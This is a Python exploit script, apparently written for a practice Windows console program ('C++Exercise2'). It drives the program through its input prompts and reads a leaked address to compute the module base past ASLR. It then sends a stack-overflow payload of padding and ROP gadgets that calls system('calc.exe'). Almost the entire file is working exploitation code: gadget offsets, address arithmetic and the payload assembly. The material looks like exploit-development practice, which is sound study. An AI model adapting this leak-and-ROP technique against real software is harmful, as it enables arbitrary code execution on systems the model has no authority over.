#-*- coding: utf-8 -*-

'''
	Exploit for "C++Exercise2_Version_FINAL_FINAL"
	by F9
'''


import os
import sys
import struct
import subprocess
import time
from ctypes import *
import hashlib

# Constants
SWITCHER_FLAG = "1110676785\n"
NAME = 'Fare9\n'
# Variables
process = None
main_base_address = 0
# RVAs
system_rva = 0x6270
leaked_rva = 0x9010
calc_string_rva = 0x9220
rop1_rva = 0x164d # pop rax; ret
rop2_rva = 0x35AD # mov rcx, qword ptr[rsp + 28h]; mov [rax], rcx ; add rsp, 48h ; ret
rop3_rva = 0x123c # mov rcx, qword ptr [rsp + 0x30] ; call qword ptr [rax]
rop4_rva = 0x000E # ret


# Functions
def read_pipe():
    #@DSTN
    for line in iter(process.stdout.readline, ''):
        print "{EXE}" + line.rstrip()
        return line.rstrip()
    time.sleep(0.3)


def hex_to_ascii(number):
    return ''.join(struct.pack('<Q', number))




process = subprocess.Popen(["ConsoleApplication3_FINAL_FINAL.exe"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)


raw_input("[!] PRESS ENTER TO START EXPLOIT (ATTACH DEBUGGER HERE IF YOU WANT)\n\n")

##########################################
# First Exploit part
##########################################

read_pipe() # printf ("Argument = %zd\n");

read_pipe() # std::cout << "Please enter an integer value: \n";
read_pipe() # << std::endl;

print "{EXPLOIT} writting: %s" % (SWITCHER_FLAG)
process.stdin.write(SWITCHER_FLAG) # cin >> integer_value;


read_pipe() # printf("Value = %zd\n");

read_pipe() # printf("Respuesta = %d\n");

### SetEmployeeName is called
read_pipe() # std::cout << "Please, enter Employee name: ";

process.stdin.write(NAME) # getline(name empleado);

read_pipe() # std::cout << "Hello, ";

### SetEmployeeName is called again
process.stdin.write("\n") # needs to send empty buffer

read_pipe() # std::cout << "Please, enter Employee name: ";

process.stdin.write(NAME) # getline(name empleado);

read_pipe() # std::cout << "Hello, ";

### First iteration of the loop
read_pipe() # std::cout << "Please enter an integer value: \n";
read_pipe() # << std::endl;

process.stdin.write("1\n") # cin >> integer_value;


##########################################
# Second Exploit part
##########################################

read_pipe() # printf ("Argument = %zd\n");

read_pipe() # std::cout << "Please enter an integer value: \n";
read_pipe() # << std::endl;

print "{EXPLOIT} writting: %s" % (SWITCHER_FLAG)
process.stdin.write(SWITCHER_FLAG) # cin >> integer_value;


read_pipe() # printf("Value = %zd\n");

read_pipe() # printf("Respuesta = %d\n");

### SetEmployeeName is called
read_pipe() # std::cout << "Please, enter Employee name: ";

process.stdin.write(NAME) # getline(name empleado);

read_pipe() # std::cout << "Hello, ";

### SetEmployeeName is called again
process.stdin.write("\n") # needs to send empty buffer

read_pipe() # std::cout << "Please, enter Employee name: ";

process.stdin.write(NAME) # getline(name empleado);

read_pipe() # std::cout << "Hello, ";

### First iteration of the loop
read_pipe() # std::cout << "Please enter an integer value: \n";
read_pipe() # << std::endl;

process.stdin.write("1\n") # cin >> integer_value;


##########################################
# Third Exploit part
##########################################
leaked_address = read_pipe() # printf ("Argument = %zd\n");

leaked_address = leaked_address.split(" = ")[1]

leaked_address = int(leaked_address)

main_base_address = leaked_address - leaked_rva


print "{EXPLOIT} leaked address: 0x%X" % (leaked_address)
print "{EXPLOIT} main base address: 0x%X" % (main_base_address)

#VAs
system_va = main_base_address + system_rva
calc_string_va = main_base_address + calc_string_rva
rop1_va = main_base_address + rop1_rva # pop rax; ret
rop2_va = main_base_address + rop2_rva # mov rcx, qword ptr[rsp + 28h]; mov [rax], rcx ; add rsp, 48h ; ret
rop3_va = main_base_address + rop3_rva # mov rcx, qword ptr [rsp + 0x30] ; call qword ptr [rax]
rop4_va = main_base_address + rop4_rva # ret
###########

read_pipe() # std::cout << "Please enter an integer value: \n";
read_pipe() # << std::endl;

print "{EXPLOIT} writting: %s" % ("69")
process.stdin.write("69\n") # cin >> integer_value;


read_pipe() # printf("Value = %zd\n");

read_pipe() # printf("Respuesta = %d\n");


### SetEmployeeName is called (here set buffer to exploit)
payload = ""
payload += "A"*0x60
payload += hex_to_ascii(rop1_va)
payload += hex_to_ascii(calc_string_va)
payload += hex_to_ascii(rop2_va)
payload += hex_to_ascii(0x0)
payload += hex_to_ascii(0x0)
payload += hex_to_ascii(0x0)
payload += hex_to_ascii(0x0)
payload += hex_to_ascii(0x0)
payload += "calc.exe"
payload += hex_to_ascii(0x0)
payload += hex_to_ascii(0x0)
payload += hex_to_ascii(0x0)
payload += hex_to_ascii(rop1_va)
payload += hex_to_ascii(system_va)
payload += hex_to_ascii(rop3_va)
payload += hex_to_ascii(0x0)
payload += hex_to_ascii(0x0)
payload += hex_to_ascii(0x0)
payload += hex_to_ascii(0x0)
payload += hex_to_ascii(0x0)
payload += hex_to_ascii(0x0)
payload += hex_to_ascii(calc_string_va)
payload += "\n"

read_pipe() # std::cout << "Please, enter Employee name: ";

print "{EXPLOIT} sending payload to exploit program"

process.stdin.write(payload) # getline(name empleado);

read_pipe() # std::cout << "Hello, ";

### SetEmployeeName is called
process.stdin.write("\n") # needs to send empty buffer

read_pipe() # std::cout << "Please, enter Employee name: ";

process.stdin.write(NAME) # getline(name empleado);

read_pipe() # std::cout << "Hello, ";


# iterations of the loop
for i in range(0x10):
    read_pipe() # std::cout << "Please enter an integer value: \n";
    read_pipe() # << std::endl;

    process.stdin.write("69\n") # cin >> integer_value;

calc = '''
 _____________________
|  _________________  |
| | FARE         9. | |
| |_________________| |
|  ___ ___ ___   ___  |
| | 7 | 8 | 9 | | + | |
| |___|___|___| |___| |
| | 4 | 5 | 6 | | - | |
| |___|___|___| |___| |
| | 1 | 2 | 3 | | x | |
| |___|___|___| |___| |
| | . | 0 | = | | / | |
| |___|___|___| |___| |
|_____________________|
%s
'''

print calc % ("enjoy your calc :) (by Fare9)")